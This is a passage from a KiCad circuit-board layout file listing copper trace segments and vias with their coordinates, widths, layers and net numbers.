(layer B.Cu) (net 1) (tstamp 577861DA))\n  (segment (start 89.2628 64.2507) (end 86.7228 64.2507) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861D9))\n  (segment (start 90.0248 63.4887) (end 89.2628 64.2507) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861D8))\n  (segment (start 90.0248 62.2187) (end 90.0248 63.4887) (width 0.635) (layer B.Cu) (net 1))\n  (segment (start 86.4688 71.1087) (end 96.367 71.1087) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861F6))\n  (segment (start 96.367 71.1087) (end 96.3748 71.1087) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F6458))\n  (segment (start 121.5208 71.1087) (end 121.5208 71.034) (width 0.3048) (layer B.Cu) (net 1))\n  (segment (start 111.1068 71.1087) (end 121.5208 71.1087) (width 0.6) (layer B.Cu) (net 1) (tstamp 5779727C))\n  (segment (start 121.5208 71.1087) (end 131.4268 71.1087) (width 0.6) (layer B.Cu) (net 1) (tstamp 57797285))\n  (segment (start 107.5508 67.2987) (end 108.94 67.2987) (width 0.635) (layer B.Cu) (net 1))\n  (segment (start 108.94 67.2987) (end 110.3448 67.2987) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F6452))\n  (segment (start 96.3748 71.1087) (end 106.7888 71.1087) (width 0.635) (layer B.Cu) (net 1))\n  (segment (start 106.7888 71.1087) (end 107.5508 70.3467) (width 0.9) (layer B.Cu) (net 1) (tstamp 577861F7))\n  (segment (start 107.5508 70.3467) (end 107.5508 67.2987) (width 0.9) (layer B.Cu) (net 1) (tstamp 577861F8))\n  (segment (start 110.3448 67.2987) (end 110.3448 70.3467) (width 0.9) (layer B.Cu) (net 1))\n  (segment (start 110.3448 70.3467) (end 111.1068 71.1087) (width 0.9) (layer B.Cu) (net 1) (tstamp 5779727B))\n  (segment (start 96.3748 67.2987) (end 96.3748 71.1087) (width 0.9) (layer B.Cu) (net 1))\n  (segment (start 121.5208 71.034) (end 121.5208 67.2987) (width 0.9) (layer B.Cu) (net 1) (tstamp 578F6447))\n  (segment (start 110.337 90.592) (end 110.337 93.537) (width 0.6) (layer B.Cu) (net 1))\n  (segment (start 131.1035 94.8) (end 131.9983 93.9052) (width 0.6) (layer B.Cu) (net 1) (tstamp 5957041D))\n  (segment (start 111.6 94.8) (end 131.1035 94.8) (width 0.6) (layer B.Cu) (net 1) (tstamp 5957041A))\n  (segment (start 110.337 93.537) (end 111.6 94.8) (width 0.6) (layer B.Cu) (net 1) (tstamp 59570418))\n  (segment (start 108.94 98.2867) (end 108.94 90.719) (width 1.2) (layer B.Cu) (net 1))\n  (segment (start 108.94 90.719) (end 108.94 90.6667) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F6430))\n  (segment (start 96.367 98.339) (end 96.367 94.529) (width 1.2) (layer B.Cu) (net 1))\n  (segment (start 96.367 94.529) (end 96.367 94.4767) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F641A))\n  (segment (start 107.5508 98.2867) (end 108.94 98.2867) (width 0.635) (layer B.Cu) (net 1))\n  (segment (start 108.94 98.2867) (end 110.3448 98.2867) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F642A))\n  (segment (start 107.5508 90.6667) (end 108.94 90.6667) (width 0.635) (layer B.Cu) (net 1))\n  (segment (start 108.94 90.6667) (end 109.0748 90.6667) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F6431))\n  (segment (start 109.0748 90.6667) (end 110.3448 90.6667) (width 0.635) (layer B.Cu) (net 1) (tstamp 57799351))\n  (segment (start 128.6328 87.6187) (end 127.8708 86.8567) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972DB))\n  (segment (start 127.8708 86.8567) (end 127.8708 85.5867) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972DA))\n  (segment (start 86.4688 94.4767) (end 96.367 94.4767) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972ED))\n  (segment (start 85.9608 93.9687) (end 86.4688 94.4767) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972E7))\n  (segment (start 85.9608 94.5) (end 85.9608 93.9687) (width 1.2) (layer B.Cu) (net 1) (tstamp 595A38D4))\n  (segment (start 96.367 94.4767) (end 96.3748 94.4767) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F641B))\n  (segment (start 90.0248 85.5867) (end 90.0248 86.3567) (width 0.3048) (layer B.Cu) (net 1) (tstamp 577972EC))\n  (segment (start 85.9608 88.3807) (end 85.9608 94.5) (width 1.2) (layer B.Cu) (net 1) (tstamp 577972EB))\n  (segment (start 90.0248 86.3567) (end 88.4628 87.9187) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972E8))\n  (segment (start 88.4628 87.9187) (end 86.4228 87.9187) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972E9))\n  (segment (start 86.4228 87.9187) (end 85.9608 88.3807) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972EA))\n  (segment (start 96.3748 90.6667) (end 96.3748 94.4767) (width 1.2) (layer B.Cu) (net 1) (tstamp 577972E6))\n  (segment (start 107.5508 93.7147) (end 107.5508 90.6667) (width 0.9) (layer B.Cu) (net 1) (tstamp 577972E5))\n  (segment (start 106.7888 94.4767) (end 107.5508 93.7147) (width 0.9) (layer B.Cu) (net 1) (tstamp 577972E4))\n  (segment (start 96.3748 94.4767) (end 106.7888 94.4767) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972E3))\n  (segment (start 131.4268 94.4767) (end 131.9983 93.9052) (width 0.3048) (layer B.Cu) (net 1) (tstamp 577972DF))\n  (segment (start 131.9983 93.9052) (end 131.9348 93.9687) (width 0.3048) (layer B.Cu) (net 1) (tstamp 57799A41))\n  (segment (start 131.9348 93.9687) (end 131.9348 88.3807) (width 0.9) (layer B.Cu) (net 1) (tstamp 577972DE))\n  (segment (start 131.9348 88.3807) (end 131.1728 87.6187) (width 0.9) (layer B.Cu) (net 1) (tstamp 577972DD))\n  (segment (start 131.1728 87.6187) (end 128.6328 87.6187) (width 0.6) (layer B.Cu) (net 1) (tstamp 577972DC))\n  (segment (start 87.4848 62.2187) (end 87.7388 61.9647) (width 0.3048) (layer B.Cu) (net 2) (tstamp 577861A8))\n  (segment (start 87.7388 61.9647) (end 87.4848 62.2187) (width 0.3048) (layer B.Cu) (net 2) (tstamp 577861AA))\n  (segment (start 83.4208 62.2187) (end 87.4848 62.2187) (width 1.2) (layer B.Cu) (net 2))\n  (segment (start 134.4748 62.2187) (end 130.4108 62.2187) (width 0.9) (layer B.Cu) (net 3))\n  (segment (start 134.4748 85.5867) (end 130.4108 85.5867) (width 0.9) (layer B.Cu) (net 4) (tstamp 577972EE))\n  (segment (start 120.410164 56.516464) (end 120.936536 56.516464) (width 0.3048) (layer B.Cu) (net 5))\n  (segment (start 123.2353 54.2177) (end 123.2353 52.0587) (width 0.9) (layer B.Cu) (net 5) (tstamp 57799117))\n  (segment (start 120.936536 56.516464) (end 123.2353 54.2177) (width 0.9) (layer B.Cu) (net 5) (tstamp 57799116))\n  (segment (start 119.140164 57.786464) (end 117.616164 57.786465) (width 0.9) (layer B.Cu) (net 6))\n  (segment (start 113.552164 53.722465) (end 111.266164 53.722465) (width 0.9) (layer B.Cu) (net 6) (tstamp 57796343))\n  (segment (start 117.616164 57.786465) (end 113.552164 53.722465) (width 0.9) (layer B.Cu) (net 6) (tstamp 57796341))\n  (segment (start 111.266164 53.722465) (end 111.178971 53.624429) (width 0.3048) (layer B.Cu) (net 6) (tstamp 57796346))\n  (segment (start 111.262972 53.694429) (end 111.178971 53.624429) (width 0.3048) (layer B.Cu) (net 6) (tstamp 5778582A))\n  (segment (start 82.1508 64.5047) (end 82.1508 60.9487) (width 0.45) (layer B.Cu) (net 7) (tstamp 577861A5))\n  (segment (start 82.6588 65.0127) (end 82.1508 64.5047) (width 0.635) (layer B.Cu) (net 7) (tstamp 577861A4))\n  (segment (start 83.4208 65.0127) (end 82.6588 65.0127) (width 0.635) (layer B.Cu) (net 7) (tstamp 577861A3))\n  (segment (start 83.9288 65.5207) (end 83.4208 65.0127) (width 0.635) (layer B.Cu) (net 7) (tstamp 577861A2))\n  (segment (start 83.9288 67.0447) (end 83.9288 65.5207) (width 0.635) (layer B.Cu) (net 7))\n  (segment (start 81.08405 65.21595) (end 81.08405 65.08405) (width 0.6) (layer B.Cu) (net 8))\n  (segment (start 80.873 64.873) (end 80.873 62.144) (width 0.6) (layer B.Cu) (net 8) (tstamp 595730D1))\n  (segment (start 81.08405 65.08405) (end 80.873 64.873) (width 0.6) (layer B.Cu) (net 8) (tstamp 595730D0))\n  (segment (start 82.1508 66.2827) (end 81.08405 65.21595) (width 0.45) (layer B.Cu) (net 8) (tstamp 5778619C))\n  (segment (start 81.08405 65.21595) (end 80.8808 65.0127) (width 0.45) (layer B.Cu) (net 8) (tstamp 595730CE))\n  (segment (start 82.1508 69.0767) (end 82.1508 66.2827) (width 0.45) (layer B.Cu) (net 8) (tstamp 5778619A))\n  (segment (start 80.3728 70.8547) (end 82.1508 69.0767) (width 0.9) (layer B.Cu) (net 8) (tstamp 57786198))\n  (segment (start 80.3728 74.6647) (end 80.3728 70.8547) (width 0.9) (layer B.Cu) (net 8))\n  (segment (start 135.7448 63.4887) (end 135.7448 64.5047) (width 0.9) (layer B.Cu) (net 9))\n  (segment (start 133.9668 65.5207) (end 133.9668 66.7907) (width 0.9) (layer B.Cu) (net 9) (tstamp 577972C7))\n  (segment (start 134.4748 65.0127) (end 133.9668 65.5207) (width 0.9) (layer B.Cu) (net 9) (tstamp 577972C6))\n  (segment (start 135.2368 65.0127) (end 134.4748 65.0127) (width 0.9) (layer B.Cu) (net 9) (tstamp 577972C5))\n  (segment (start 135.7448 64.5047) (end 135.2368 65.0127) (width 0.9) (layer B.Cu) (net 9) (tstamp 577972C4))\n  (segment (start 133.9668 66.7907) (end 134.2208 67.0447) (width 0.3048) (layer B.Cu) (net 9) (tstamp 577972C8))\n  (segment (start 137.5228 74.6647) (end 137.5228 70.8547) (width 0.9) (layer B.Cu) (net 10))\n  (segment (start 137.0148 65.0127) (end 137.0148 62.2187) (width 0.45) (layer B.Cu) (net 10) (tstamp 577972D0))\n  (segment (start 135.7448 66.2827) (end 137.0148 65.0127) (width 0.45) (layer B.Cu) (net 10) (tstamp 577972CF))\n  (segment (start 135.7448 69.0767) (end 135.7448 66.2827) (width 0.45) (layer B.Cu) (net 10) (tstamp 577972CE))\n  (segment (start 137.5228 70.8547) (end 135.7448 69.0767) (width 0.9) (layer B.Cu) (net 10) (tstamp 577972CD))\n  (segment (start 133.9668 90.1587) (end 134.2208 90.4127) (width 0.3048) (layer B.Cu) (net 11) (tstamp 577972F7))\n  (segment (start 133.9668 88.8887) (end 133.9668 90.1587) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F3))\n  (segment (start 134.4748 88.3807) (end 133.9668 88.8887) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F4))\n  (segment (start 135.2368 88.3807) (end 134.4748 88.3807) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F5))\n  (segment (start 135.7448 87.8727) (end 135.2368 88.3807) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F6))\n  (segment (start 135.7448 86.8567) (end 135.7448 87.8727) (width 0.6) (layer B.Cu) (net 11) (tstamp 577972F2))\n  (segment (start 137.6 86.105) (end 137.007 85.512) (width 0.6) (layer B.Cu) (net 12) (tstamp 595710AD))\n  (segment (start 137.6 87.6) (end 137.6 86.105) (width 0.6) (layer B.Cu) (net 12) (tstamp 595710A8))\n  (segment (start 135.7 89.5) (end 137.6 87.6) (width 0.6) (layer B.Cu) (net 12) (tstamp 595710A4))\n  (segment (start 135.7 93.8) (end 135.7 89.5) (width 0.6) (layer B.Cu) (net 12) (tstamp 5957109D))\n  (segment (start 137.515 98.085) (end 137.515 95.615) (width 0.6) (layer B.Cu) (net 12))\n  (segment (start 137.515 95.615) (end 135.7 93.8) (width 0.6) (layer B.Cu) (net 12) (tstamp 5957109B))\n  (segment (start 74.65 73.828) (end 76.828 73.828) (width 0.9) (layer B.Cu) (net 13))\n  (segment (start 81 77.6) (end 85.483 77.6) (width 0.45) (layer B.Cu) (net 13) (tstamp 595715AB))\n  (segment (start 85.483 77.6) (end 88.239 74.844) (width 0.45) (layer B.Cu) (net 13) (tstamp 59570BCA))\n  (segment (start 79.1 77.6) (end 77.2 75.7) (width 0.45) (layer B.Cu) (net 13) (tstamp 595715AD))\n  (segment (start 77.2 75.7) (end 77.2 74.2) (width 0.45) (layer B.Cu) (net 13) (tstamp 595715AF))\n  (segment (start 77.2 74.2) (end 76.9 73.9) (width 0.45) (layer B.Cu) (net 13) (tstamp 595715B1))\n  (segment (start 81 77.6) (end 79.1 77.6) (width 0.45) (layer B.Cu) (net 13))\n  (segment (start 76.828 73.828) (end 76.9 73.9) (width 0.9) (layer B.Cu) (net 13) (tstamp 59572D3C))\n  (segment (start 91.287 74.844) (end 91.287 72.939) (width 1.2) (layer B.Cu) (net 13))\n  (segment (start 91.287 69.637) (end 91.287 67.224) (width 1.2) (layer B.Cu) (net 13) (tstamp 57980540))\n  (via (at 91.287 69.637) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 13))\n  (segment (start 91.287 72.939) (end 91.287 69.637) (width 0.3048) (layer F.Cu) (net 13) (tstamp 5798053D))\n  (via (at 91.287 72.939) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 13))\n  (segment (start 91.0408 74.6647) (end 91.2948 74.9187) (width 0.3048) (layer B.Cu) (net 13) (tstamp 577861FD))\n  (segment (start 88.2468 74.6647) (end 91.0408 74.6647) (width 1.2) (layer B.Cu) (net 13))\n  (segment (start 74.65 76.368) (end 75.668 76.368) (width 0.9) (layer B.Cu) (net 14))\n  (segment (start 77.9 78.6) (end 76.8 77.5) (width 0.45) (layer B.Cu) (net 14) (tstamp 59571D85))\n  (segment (start 95.659 78.6) (end 99.415 74.844) (width 0.45) (layer B.Cu) (net 14) (tstamp 59570BB3))\n  (segment (start 95.659 78.6) (end 77.9 78.6) (width 0.45) (layer B.Cu) (net 14))\n  (segment (start 75.668 76.368) (end 76.8 77.5) (width 0.9) (layer B.Cu) (net 14) (tstamp 59572D3F))\n  (segment (start 102.463 74.844) (end 102.463 72.685) (width 0.9) (layer B.Cu) (net 14))\n  (segment (start 102.463 69.002) (end 102.463 67.224) (width 0.9) (layer B.Cu) (net 14) (tstamp 57980538))\n  (segment (start 102.336 69.129) (end 102.463 69.002) (width 0.3048) (layer B.Cu) (net 14) (tstamp 57980537))\n  (via (at 102.336 69.129) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 14))\n  (segment (start 102.336 72.558) (end 102.336 69.129) (width 0.3048) (layer F.Cu) (net 14) (tstamp 57980535))\n  (segment (start 102.463 72.685) (end 102.336 72.558) (width 0.3048) (layer F.Cu) (net 14) (tstamp 57980534))\n  (via (at 102.463 72.685) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 14))\n  (segment (start 102.4708 74.9187) (end 99.4228 74.9187) (width 0.9) (layer B.Cu) (net 14))\n  (segment (start 74.65 81.448) (end 77.152 81.448) (width 0.9) (layer B.Cu) (net 15))\n  (segment (start 95.1 80.8) (end 77.8 80.8) (width 0.45) (layer B.Cu) (net 15) (tstamp 59571DCD))\n  (segment (start 77.8 80.8) (end 77.3 81.3) (width 0.45) (layer B.Cu) (net 15) (tstamp 59571DD0))\n  (segment (start 119.237 82.2) (end 126.593 74.844) (width 0.9) (layer B.Cu) (net 15) (tstamp 59570AF5))\n  (segment (start 96.5 82.2) (end 119.237 82.2) (width 0.9) (layer B.Cu) (net 15) (tstamp 59570AF1))\n  (segment (start 96.05 81.75) (end 96.5 82.2) (width 0.45) (layer B.Cu) (net 15) (tstamp 59570AE9))\n  (segment (start 96.05 81.75) (end 95.1 80.8) (width 0.45) (layer B.Cu) (net 15))\n  (segment (start 77.152 81.448) (end 77.3 81.3) (width 0.9) (layer B.Cu) (net 15) (tstamp 59572D4C))\n  (segment (start 129.641 74.717) (end 126.72 74.717) (width 0.9) (layer B.Cu) (net 15))\n  (segment (start 126.72 74.717) (end 126.593 74.844) (width 0.9) (layer B.Cu) (net 15) (tstamp 595705D4))\n  (segment (start 126.593 74.844) (end 126.593 72.812) (width 0.9) (layer B.Cu) (net 15))\n  (segment (start 126.593 69.637) (end 126.593 67.224) (width 0.9) (layer B.Cu) (net 15) (tstamp 57980517))\n  (via (at 126.593 69.637) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 15))\n  (segment (start 126.593 72.812) (end 126.593 69.637) (width 0.3048) (layer F.Cu) (net 15) (tstamp 57980514))\n  (via (at 126.593 72.812) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 15))\n  (segment (start 126.6008 74.9187) (end 126.8548 74.6647) (width 0.3048) (layer B.Cu) (net 15))\n  (segment (start 74.65 78.908) (end 76.108 78.908) (width 0.9) (layer B.Cu) (net 16))\n  (segment (start 76.108 78.908) (end 76.8 79.6) (width 0.9) (layer B.Cu) (net 16) (tstamp 59572D42))\n  (segment (start 96.1 79.6) (end 76.8 79.6) (width 0.45) (layer B.Cu) (net 16))\n  (segment (start 96.1 79.6) (end 97 80.5) (width 0.45) (layer B.Cu) (net 16) (tstamp 59570B75))\n  (segment (start 97 80.5) (end 112.936 80.5) (width 0.9) (layer B.Cu) (net 16) (tstamp 59570B79))\n  (segment (start 118.465 74.971) (end 112.936 80.5) (width 0.9) (layer B.Cu) (net 16) (tstamp 59570B82))\n  (segment (start 76.8 79.6) (end 76.9 79.7) (width 0.45) (layer B.Cu) (net 16) (tstamp 59571DBF))\n  (segment (start 115.417 74.844) (end 115.417 72.939) (width 0.9) (layer B.Cu) (net 16))\n  (segment (start 115.417 69.51) (end 115.417 67.224) (width 0.9) (layer B.Cu) (net 16) (tstamp 57980526))\n  (via (at 115.417 69.51) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 16))\n  (segment (start 115.417 72.939) (end 115.417 69.51) (width 0.3048) (layer F.Cu) (net 16) (tstamp 57980523))\n  (via (at 115.417 72.939) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 16))\n  (segment (start 115.4248 74.9187) (end 119.2348 74.9187) (width 0.9) (layer B.Cu) (net 16))\n  (segment (start 74.65 94.148) (end 76.548 94.148) (width 0.9) (layer B.Cu) (net 17))\n  (segment (start 77.5 95.1) (end 76.75 94.35) (width 0.45) (layer B.Cu) (net 17) (tstamp 59571755))\n  (segment (start 77.5 99.6) (end 77.5 95.1) (width 0.45) (layer B.Cu) (net 17) (tstamp 59571753))\n  (segment (start 78.9 101) (end 77.5 99.6) (width 0.45) (layer B.Cu) (net 17) (tstamp 5957174D))\n  (segment (start 85.1 101) (end 78.9 101) (width 0.6) (layer B.Cu) (net 17) (tstamp 59571744))\n  (segment (start 85.1 101) (end 88.142 97.958) (width 0.6) (layer B.Cu) (net 17) (tstamp 59571741))\n  (segment (start 76.548 94.148) (end 76.75 94.35) (width 0.9) (layer B.Cu) (net 17) (tstamp 59572D5E))\n  (segment (start 88.239 97.958) (end 88.142 97.958) (width 0.45) (layer B.Cu) (net 17))\n  (segment (start 91.287 98.339) (end 91.287 96.18) (width 0.9) (layer B.Cu) (net 17))\n  (segment (start 91.287 93.005) (end 91.287 90.719) (width 0.9) (layer B.Cu) (net 17) (tstamp 579804D1))\n  (via (at 91.287 93.005) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 17))\n  (segment (start 91.287 96.18) (end 91.287 93.005) (width 0.3048) (layer F.Cu) (net 17) (tstamp 579804CE))\n  (via (at 91.287 96.18) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 17))\n  (segment (start 91.0408 98.0327) (end 91.2948 98.2867) (width 0.3048) (layer B.Cu) (net 17) (tstamp 57797331))\n  (segment (start 88.2468 98.0327) (end 91.0408 98.0327) (width 0.9) (layer B.Cu) (net 17) (tstamp 57797330))\n  (segment (start 74.6534 94.1514) (end 74.65 94.148) (width 0.3048) (layer B.Cu) (net 17) (tstamp 578EDAAD))\n  (segment (start 70.1 95.2) (end 70.1 94.9) (width 0.9) (layer B.Cu) (net 18))\n  (segment (start 129.641 100.059) (end 125.1 104.6) (width 0.6) (layer B.Cu) (net 18) (tstamp 59571839))\n  (segment (start 125.1 104.6) (end 73.9 104.6) (width 0.6) (layer B.Cu) (net 18) (tstamp 5957183F))\n  (segment (start 73.9 104.6) (end 70.1 100.8) (width 0.6) (layer B.Cu) (net 18) (tstamp 59571844))\n  (segment (start 70.1 100.8) (end 70.1 95.2) (width 0.6) (layer B.Cu) (net 18) (tstamp 5957184D))\n  (segment (start 129.641 98.085) (end 129.641 100.059) (width 0.6) (layer B.Cu) (net 18))\n  (segment (start 70.852 94.148) (end 72.11 94.148) (width 0.9) (layer B.Cu) (net 18) (tstamp 59572D74))\n  (segment (start 70.1 94.9) (end 70.852 94.148) (width 0.9) (layer B.Cu) (net 18) (tstamp 59572D71))\n  (segment (start 126.593 98.212) (end 126.593 96.434) (width 0.9) (layer B.Cu) (net 18))\n  (segment (start 126.593 92.878) (end 126.593 90.592) (width 0.9) (layer B.Cu) (net 18) (tstamp 579804B8))\n  (via (at 126.593 92.878) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 18))\n  (segment (start 126.593 96.434) (end 126.593 92.878) (width 0.3048) (layer F.Cu) (net 18) (tstamp 579804B1))\n  (via (at 126.593 96.434) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 18))\n  (segment (start 129.641 98.085) (end 126.72 98.085) (width 0.9) (layer B.Cu) (net 18))\n  (segment (start 126.72 98.085) (end 126.593 98.212) (width 0.3048) (layer B.Cu) (net 18) (tstamp 578F69ED))\n  (segment (start 118.973 55.286) (end 118.973 51.015307) (width 1.5) (layer B.Cu) (net 19))\n  (segment (start 118.7 50.742307) (end 117.108164 49.150464) (width 1.5) (layer B.Cu) (net 19) (tstamp 5779633D))\n  (segment (start 117.108164 49.150464) (end 115.584164 49.150465) (width 1.5) (layer B.Cu) (net 19) (tstamp 5779633E))\n  (segment (start 118.973 51.015307) (end 118.7 50.742307) (width 1.5) (layer B.Cu) (net 19) (tstamp 59570D1F))\n  (segment (start 83.4208 85.5867) (end 87.4848 85.5867) (width 0.9) (layer B.Cu) (net 20) (tstamp 577972EF))\n  (segment (start 87.7388 85.3327) (end 87.4848 85.5867) (width 0.3048) (layer B.Cu) (net 20) (tstamp 577972F1))\n  (segment (start 87.4848 85.5867) (end 87.7388 85.3327) (width 0.3048) (layer B.Cu) (net 20) (tstamp 577972F0))\n  (segment (start 83.9288 88.8887) (end 83.4208 88.3807) (width 0.6) (layer B.Cu) (net 21) (tstamp 577972FC))\n  (segment (start 83.4208 88.3807) (end 82.6588 88.3807) (width 0.6) (layer B.Cu) (net 21) (tstamp 577972FB))\n  (segment (start 82.6588 88.3807) (end 82.1508 87.8727) (width 0.6) (layer B.Cu) (net 21) (tstamp 577972FA))\n  (segment (start 83.9288 90.4127) (end 83.9288 88.8887) (width 0.6) (layer B.Cu) (net 21) (tstamp 577972F8))\n  (segment (start 82.1508 87.8727) (end 82.1508 84.3167) (width 0.45) (layer B.Cu) (net 21) (tstamp 577972F9))\n  (segment (start 80.3728 94.2227) (end 82.1508 92.4447) (width 1.5) (layer B.Cu) (net 22) (tstamp 57797306))\n  (segment (start 82.1508 92.4447) (end 82.1508 89.6507) (width 0.45) (layer B.Cu) (net 22) (tstamp 57797305))\n  (segment (start 82.1508 89.6507) (end 80.8808 88.3807) (width 0.45) (layer B.Cu) (net 22) (tstamp 57797304))\n  (segment (start 80.3728 98.0327) (end 80.3728 94.2227) (width 1.5) (layer B.Cu) (net 22) (tstamp 57797302))\n  (segment (start 80.8808 88.3807) (end 80.8808 85.5867) (width 0.6) (layer B.Cu) (net 22) (tstamp 57797303))\n  (segment (start 74.65 96.688) (end 76.488 96.688) (width 0.45) (layer B.Cu) (net 23))\n  (segment (start 95.8 102.2) (end 99.415 98.585) (width 0.6) (layer B.Cu) (net 23) (tstamp 5957175E))\n  (segment (start 95.8 102.2) (end 78.1 102.2) (width 0.6) (layer B.Cu) (net 23) (tstamp 5957176C))\n  (segment (start 78.1 102.2) (end 76.6 100.7) (width 0.45) (layer B.Cu) (net 23) (tstamp 59571774))\n  (segment (start 76.6 96.8) (end 76.6 100.7) (width 0.45) (layer B.Cu) (net 23))\n  (segment (start 76.488 96.688) (end 76.6 96.8) (width 0.45) (layer B.Cu) (net 23) (tstamp 59572D61))\n  (segment (start 99.415 98.466) (end 99.415 98.585) (width 0.9) (layer B.Cu) (net 23))\n  (segment (start 102.463 98.339) (end 102.463 96.434) (width 0.9) (layer B.Cu) (net 23))\n  (segment (start 102.463 93.005) (end 102.463 90.719) (width 0.9) (layer B.Cu) (net 23) (tstamp 579804C9))\n  (via (at 102.463 93.005) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 23))\n  (segment (start 102.463 96.434) (end 102.463 93.005) (width 0.3048) (layer F.Cu) (net 23) (tstamp 579804C6))\n  (via (at 102.463 96.434) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 23))\n  (segment (start 102.4708 98.2867) (end 99.4228 98.2867) (width 0.9) (layer B.Cu) (net 23) (tstamp 5779733C))\n  (segment (start 99.4228 98.2867) (end 98.6608 98.2867) (width 0.3048) (layer B.Cu) (net 23) (tstamp 57797337))\n  (segment (start 74.65 99.228) (end 74.65 100.85) (width 0.9) (layer B.Cu) (net 24))\n  (segment (start 114.3 103.4) (end 77.2 103.4) (width 0.6) (layer B.Cu) (net 24) (tstamp 59571822))\n  (segment (start 77.2 103.4) (end 74.9 101.1) (width 0.6) (layer B.Cu) (net 24) (tstamp 5957182E))\n  (segment (start 114.3 103.4) (end 118.465 99.235) (width 0.6) (layer B.Cu) (net 24) (tstamp 5957181E))\n  (segment (start 74.65 100.85) (end 74.9 101.1) (width 0.9) (layer B.Cu) (net 24) (tstamp 59572D6C))\n  (segment (start 118.465 98.339) (end 118.465 99.235) (width 0.45) (layer B.Cu) (net 24))\n  (segment (start 115.417 98.212) (end 115.417 96.434) (width 0.9) (layer B.Cu) (net 24))\n  (segment (start 115.417 93.259) (end 115.417 90.592) (width 0.9) (layer B.Cu) (net 24) (tstamp 579804A6))\n  (via (at 115.417 93.259) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 24))\n  (segment (start 115.417 96.434) (end 115.417 93.259) (width 0.3048) (layer F.Cu) (net 24) (tstamp 579804A3))\n  (via (at 115.417 96.434) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 24))\n  (segment (start 118.465 98.339) (end 115.544 98.339) (width 0.9) (layer B.Cu) (net 24))\n  (segment (start 115.544 98.339) (end 115.417 98.212) (width 0.3048) (layer B.Cu) (net 24) (tstamp 578F69DE))\n  (segment (start 72.11 50.968) (end 72.11 49.69) (width 1.2) (layer B.Cu) (net 25))\n  (segment (start 78.6651 48.7) (end 81.0078 51.0427) (width 1.2) (layer B.Cu) (net 25) (tstamp 59570FF7))\n  (segment (start 73.1 48.7) (end 78.6651 48.7) (width 1.2) (layer B.Cu) (net 25) (tstamp 59570FEF))\n  (segment (start 72.11 49.69) (end 73.1 48.7) (width 1.2) (layer B.Cu) (net 25) (tstamp 59570FE6))\n  (segment (start 74.65 50.968) (end 76.968 50.968) (width 1.2) (layer B.Cu) (net 26))\n  (segment (start 78.8827 53.5827) (end 81.0078 53.5827) (width 1.2) (layer B.Cu) (net 26) (tstamp 5957100A))\n  (segment (start 78 52.7) (end 78.8827 53.5827) (width 1.2) (layer B.Cu) (net 26) (tstamp 59571009))\n  (segment (start 78 52) (end 78 52.7) (width 1.2) (layer B.Cu) (net 26) (tstamp 59571007))\n  (segment (start 76.968 50.968) (end 78 52) (width 1.2) (layer B.Cu) (net 26) (tstamp 59571004))\n  (segment (start 74.65 71.288) (end 76.488 71.288) (width 0.9) (layer B.Cu) (net 27))\n  (segment (start 76.488 71.288) (end 76.6 71.4) (width 0.9) (layer B.Cu) (net 27) (tstamp 59572D38))\n  (segment (start 81.4 76.6) (end 79.5 76.6) (width 0.45) (layer B.Cu) (net 27))\n  (segment (start 76.6 71.4) (end 76.5 71.4) (width 0.45) (layer B.Cu) (net 27) (tstamp 5957157A))\n  (segment (start 78.3 73.1) (end 76.6 71.4) (width 0.45) (layer B.Cu) (net 27) (tstamp 59571577))\n  (segment (start 78.3 75.4) (end 78.3 73.1) (width 0.45) (layer B.Cu) (net 27) (tstamp 59571571))\n  (segment (start 79.5 76.6) (end 78.3 75.4) (width 0.45) (layer B.Cu) (net 27) (tstamp 5957156D))\n  (segment (start 83.921 76.079) (end 83.921 74.717) (width 0.6) (layer B.Cu) (net 27) (tstamp 59570BE3))\n  (segment (start 83.4 76.6) (end 83.921 76.079) (width 0.6) (layer B.Cu) (net 27) (tstamp 59570BDE))\n  (segment (start 81.4 76.6) (end 83.4 76.6) (width 0.45) (layer B.Cu) (net 27) (tstamp 5957156B))\n  (segment (start 134.086 76.714) (end 134.086 74.717) (width 0.9) (layer B.Cu) (net 28))\n  (segment (start 133.9668 74.6647) (end 134.2208 74.6647) (width 0.3048) (layer B.Cu) (net 28) (tstamp 577972AC))\n  (segment (start 131 79.8) (end 125.1 79.8) (width 0.9) (layer B.Cu) (net 28) (tstamp 59570A95))\n  (segment (start 134.086 76.714) (end 131 79.8) (width 0.9) (layer B.Cu) (net 28) (tstamp 59570A93))\n  (segment (start 74.65 83.988) (end 77.012 83.988) (width 0.9) (layer B.Cu) (net 28))\n  (segment (start 94.5 82.9) (end 93.4 81.8) (width 0.45) (layer B.Cu) (net 28) 